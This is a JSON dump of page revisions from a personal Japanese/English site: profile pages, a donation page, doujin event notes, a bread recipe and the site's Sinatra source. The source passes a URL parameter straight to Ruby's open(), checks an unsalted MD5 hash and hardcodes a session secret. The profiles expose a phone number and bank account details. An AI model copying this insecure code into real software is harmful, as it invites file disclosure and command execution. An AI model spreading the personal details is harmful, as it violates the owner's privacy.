[{"id":1457,"name":"index","body":"ほげ","created_at":"2010-11-08T07:29:59.000Z","updated_at":"2010-11-08T07:29:59.000Z"},{"id":1458,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-08T07:41:03.000Z","updated_at":"2010-11-08T07:41:03.000Z"},{"id":1459,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Blog](/blog)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-11T14:30:23.000Z","updated_at":"2010-11-11T14:30:23.000Z"},{"id":1460,"name":"message","body":"![金くれ](http://ssig33.com/data/2d7bbb62eb930907815114de063f39e6.png)\r\n\r\n# 金くれ!!\r\n\r\n# 楽天銀行 ビート支店 2028107 コイケ リク\r\n\r\n# [はてなポイントくれ!!](http://www.hatena.ne.jp/sendpoint?name=ssig33)","created_at":"2010-11-13T11:11:56.000Z","updated_at":"2010-11-13T11:11:56.000Z"},{"id":1461,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Blog](/blog)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-13T11:23:09.000Z","updated_at":"2010-11-13T11:23:09.000Z"},{"id":1462,"name":"arakawatomonori","body":"# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシあャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 荒川智則大全(予定)\r\n* 荒川智則シール 100 枚セット(予定)\r\n\r\nなお荒川智則大全については、ダウンロード販売、通信販売も予定しています。","created_at":"2010-11-13T11:53:01.000Z","updated_at":"2010-11-13T11:53:01.000Z"},{"id":1463,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-13T11:55:48.000Z","updated_at":"2010-11-13T11:55:48.000Z"},{"id":1464,"name":"arakawatomonori","body":"# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 荒川智則大全(予定)\r\n* 荒川智則シール 100 枚セット(予定)\r\n\r\nなお荒川智則大全については、ダウンロード販売、通信販売も予定しています。","created_at":"2010-11-13T11:59:32.000Z","updated_at":"2010-11-13T11:59:32.000Z"},{"id":1465,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-21T02:11:16.000Z","updated_at":"2010-11-21T02:11:16.000Z"},{"id":1466,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Gomi](http://gomi.ssig33.com/)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-11-21T16:59:01.000Z","updated_at":"2010-11-21T16:59:01.000Z"},{"id":1467,"name":"D","body":"# D = だるい\r\n\r\n# DDDDDDDDDD = だるいだるいだるいだるいだるいだるいだるいだるいだるいだるい","created_at":"2010-11-22T11:09:24.000Z","updated_at":"2010-11-22T11:09:24.000Z"},{"id":1468,"name":"source","body":"# このサイトのソース\r\n\r\n# app.rb\r\n require 'sinatra'\r\n require 'active_record'\r\n require 'haml'\r\n require 'bluecloth'\r\n require 'cgi'\r\n require 'rack/csrf'\r\n require 'logger'\r\n \r\n PASSWORD = \"ハッシュ化されたパスワード\"\r\n \r\n ActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n )\r\n \r\n ActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n \r\n #ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n \r\n \r\n class Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n end\r\n \r\n configure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\n end\r\n \r\n get '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\n end\r\n get '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\n end\r\n \r\n post '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\n \r\n helpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n \r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\n end\r\n \r\n __END__\r\n @@ page\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h title\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all~@page.html\r\n \r\n @@ edit\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h \"Edit - #{params[:id]}\"\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n# migrate/0_create_page.rb\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end","created_at":"2010-11-22T11:36:57.000Z","updated_at":"2010-11-22T11:36:57.000Z"},{"id":1469,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n require 'sinatra'\r\n require 'active_record'\r\n require 'haml'\r\n require 'bluecloth'\r\n require 'cgi'\r\n require 'rack/csrf'\r\n require 'logger'\r\n \r\n PASSWORD = \"ハッシュ化されたパスワード\"\r\n \r\n ActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n )\r\n \r\n ActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n \r\n #ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n \r\n \r\n class Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n end\r\n \r\n configure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\n end\r\n \r\n get '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\n end\r\n get '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\n end\r\n \r\n post '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\n \r\n helpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n \r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\n end\r\n \r\n __END__\r\n @@ page\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h title\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all~@page.html\r\n \r\n @@ edit\r\n \u003c!DOCTYPE html\u003e\r\n %meta{:charset =\u003e \"UTF-8\"}\r\n %title=h \"Edit - #{params[:id]}\"\r\n %link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n %meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n %div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n## migrate/0_create_page.rb\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end","created_at":"2010-11-22T11:37:17.000Z","updated_at":"2010-11-22T11:37:17.000Z"},{"id":1470,"name":"message","body":"![金くれ](http://ssig33.com/data/2d7bbb62eb930907815114de063f39e6.png)\r\n\r\n# 金くれ!!\r\n\r\n# 楽天銀行 ビート支店 2028107 コイケ リク\r\n\r\n# [はてなポイントくれ!!](http://www.hatena.ne.jp/sendpoint?name=ssig33)\r\n\r\n![ミル貝](http://ssig33.com/data/bd8318cec7e6b1b12cb25cfaf09083cb.jpg)","created_at":"2010-12-03T17:18:21.000Z","updated_at":"2010-12-03T17:18:21.000Z"},{"id":1471,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Trash](http://gomi.ssig33.com/)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-12-04T03:09:17.000Z","updated_at":"2010-12-04T03:09:17.000Z"},{"id":1472,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Please birthday present](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Trash](http://gomi.ssig33.com/)\r\n\r\n[Blog](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-12-04T03:10:26.000Z","updated_at":"2010-12-04T03:10:26.000Z"},{"id":1473,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Please birthday present](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Trash](http://gomi.ssig33.com/)\r\n\r\n[Blog(old)](/blog)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2010-12-04T03:11:34.000Z","updated_at":"2010-12-04T03:11:34.000Z"},{"id":1474,"name":"bread_for_yumeko","body":"# 料理が出来ない yumeko さんでも出来る!!!パンの作り方\r\n\r\n## まず気をつけること\r\n* 量はきっちり測れ!!!!!\r\n\r\n## 準備するもの\r\n* 強力粉 200g\r\n* オートミール(即席タイプのでもそうじゃなくてもいい) 50g\r\n* 砂糖(黄色の奴) 15g\r\n* ドライイースト(一時発酵がいらないと書いてある奴にしよう) 5g\r\n* 塩 5g\r\n* お湯(40 度ぐらい) 150cc\r\n* バター 10g\r\n* オリーブオイル 大匙一杯\r\n* 発酵機能(40 度ぐらいを維持出来るやつ)のあるオーブン\r\n* ボウル\r\n* クッキングシート\r\n\r\n## やること\r\n1. ボウルを用意する\r\n2. 強力粉、オートミール、砂糖、イースト、塩、バター、オリーブオイルをボウルに入れる\r\n3. お湯をボウルに入れる。この時お湯がイーストを直撃するようにするとよい\r\n4. こねる\r\n5. 手に付きまくるけどきにせずこねる\r\n6. なんとなくひとまとまりになってくる\r\n7. ボウルの中の生地にクッキングシートを被せる\r\n8. オーブンにボウルを入れる。発酵モードで 30 分あたためる\r\n9. 生地がデカくなってるのを確認したら、それっぽいサイズに分割して丸める\r\n10. 180 度で余熱して 16 分焼く\r\n11. できあがり!!!","created_at":"2010-12-16T01:44:26.000Z","updated_at":"2010-12-16T01:44:26.000Z"},{"id":1475,"name":"arakawatomonori","body":"# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 今のところ何もありません!!!!!荒川智則は壊滅しました!!!!!\r\n* 荒川智則大全(落ちた)\r\n* 荒川智則シール 100 枚セット(落ちた)\r\n\r\nなお荒川智則大全については、ダウンロード販売、通信販売も予定しています。","created_at":"2010-12-27T16:25:27.000Z","updated_at":"2010-12-27T16:25:27.000Z"},{"id":1476,"name":"arakawatomonori","body":"# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 今のところ何もありません!!!!!荒川智則は壊滅しました!!!!!\r\n* 破滅論の CD-R とか頒布するかも。やる気出ればの話だけど。\r\n* 荒川智則大全(落ちた)\r\n* 荒川智則シール 100 枚セット(落ちた)\r\n\r\nなお荒川智則大全については、ダウンロード販売、通信販売も予定しています。","created_at":"2010-12-27T16:26:54.000Z","updated_at":"2010-12-27T16:26:54.000Z"},{"id":1477,"name":"arakawatomonori","body":"# そこにある荒川智則公式サイト\r\n同人サークル そこにある荒川智則 の公式サイトです。イベント関連の情報等を公開しています。\r\n\r\n# メンバー紹介\r\n## 荒川智則\r\nソフトウエア開発、ライター、デザイナー、ミュージシャン、作詞、DJ、VJなどとしてマルチに活躍中の新進アーティスト。\r\n\r\n## イベント参加予定\r\n### コミックマーケット 79\r\n#### 配置\r\n三日目東地区O-58b \r\n\r\n#### 頒布物\r\n* 破滅論電子書籍版(CD-R および SD カードでの頒布)\r\n* 糸柳が文学フリマで出してた本\r\n* 荒川智則大全(落ちた)\r\n* 荒川智則シール 100 枚セット(落ちた)","created_at":"2010-12-30T10:56:31.000Z","updated_at":"2010-12-30T10:56:31.000Z"},{"id":1478,"name":"others","body":"## ssig33.com other contents\r\n[Please birthday present](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Trash](http://gomi.ssig33.com/)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2011-01-13T15:58:48.000Z","updated_at":"2011-01-13T15:58:48.000Z"},{"id":1479,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) **powered by Tumblr**\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2011-01-13T15:59:23.000Z","updated_at":"2011-01-13T15:59:23.000Z"},{"id":1480,"name":"index","body":"# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2011-01-13T15:59:31.000Z","updated_at":"2011-01-13T15:59:31.000Z"},{"id":1481,"name":"index","body":"\u003cmarquee\u003e\r\n# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\u003c/marquee\u003e","created_at":"2011-01-29T02:06:43.000Z","updated_at":"2011-01-29T02:06:43.000Z"},{"id":1482,"name":"index","body":"\u003cmarquee\u003e \r\n# ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\u003c/marquee\u003e","created_at":"2011-01-29T02:07:03.000Z","updated_at":"2011-01-29T02:07:03.000Z"},{"id":1483,"name":"index","body":"\r\n# \u003cmarquee\u003essig33.com\u003c/marquee\u003e\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\u003c/marquee\u003e","created_at":"2011-01-29T02:07:31.000Z","updated_at":"2011-01-29T02:07:31.000Z"},{"id":1484,"name":"index","body":"# \u003cmarquee\u003essig33.com\u003c/marquee\u003e\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2011-01-29T02:07:49.000Z","updated_at":"2011-01-29T02:07:49.000Z"},{"id":1485,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) 